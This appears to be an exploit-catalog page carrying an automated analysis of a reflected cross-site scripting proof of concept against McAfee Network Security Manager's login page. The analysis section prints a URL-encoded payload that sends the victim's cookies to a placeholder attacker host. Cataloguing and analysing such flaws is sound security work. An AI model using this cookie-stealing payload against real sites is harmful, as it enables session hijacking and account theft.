McAfee Network Security Manager < 5.1.11.8.1 - Information Disclosure

ExploitDBExploitDB exploitScannerEDB-10059

PoC files

1 file

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

ExploitDB
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact describes a reflected cross-site scripting (XSS) vulnerability in McAfee Network Security Manager and provides a URL that, when visited by a victim, exfiltrates the victim's cookies to an attacker-controlled server. The URL demonstrates detection/validation of the vulnerability by triggering cookie exfiltration, not by performing an action on the target system beyond information disclosure.

Backdoor review

No backdoor observed in reviewed code

The PoC describes a reflected XSS information disclosure attack against a specific vulnerable application. The supplied text contains only a description and a single URL-encoded example payload. No concealed executable behavior, persistence, unrelated payload, or operator-directed harm is present in the reviewed evidence.

ClassificationScanner
Model confidence95%
AuthenticationNot required
LanguagesEnglishURL-encoded JavaScript
Target softwareMcAfee Network Security Manager
Attack typesCross-Site Scripting (XSS)Information Disclosure
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact provides a URL that demonstrates the XSS vulnerability by exfiltrating cookies to an external server. This is a proof-of-concept for detection/validation (scanner) rather than an exploit that performs a malicious action on the target system itself. The description explicitly states it is a 'proof of concept' for information disclosure.

exploits/jsp/webapps/10059.txt:3exploits/jsp/webapps/10059.txt:5-6

Requirements

  • Victim must be enticed to view a malicious webpage or click a crafted link.exploits/jsp/webapps/10059.txt:1
  • Attacker must control a server (x.x.x.x) to receive exfiltrated cookies.exploits/jsp/webapps/10059.txt:5-6

Observed behavior

  • Crafts a URL that injects a script into the McAfee Network Security Manager login page.exploits/jsp/webapps/10059.txt:5-6
  • The injected script creates an Image object to send the victim's cookies to an attacker-controlled server (x.x.x.x).exploits/jsp/webapps/10059.txt:5-6
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Url
https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57The PoC URL demonstrates a reflected XSS payload that exfiltrates document.cookie to an attacker-controlled server. This is the described information disclosure behavior against the target application.exploits/jsp/webapps/10059.txt:5-6
Review boundaries

What the analysis did not establish

  • Only the text file content was analyzed; no external resources or execution were performed.
  • The URL contains placeholder IP addresses (x.x.x.x) and a target domain (www.example.com), indicating it is a template rather than a live exploit.
  • Only the supplied text file was reviewed; no external resources, linked scripts, or network destinations were fetched or analyzed.
  • The URL-encoded payload was decoded for review, but the review does not execute or render the payload.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

0

This PoC is retained in the catalog but is not currently linked to a vulnerability.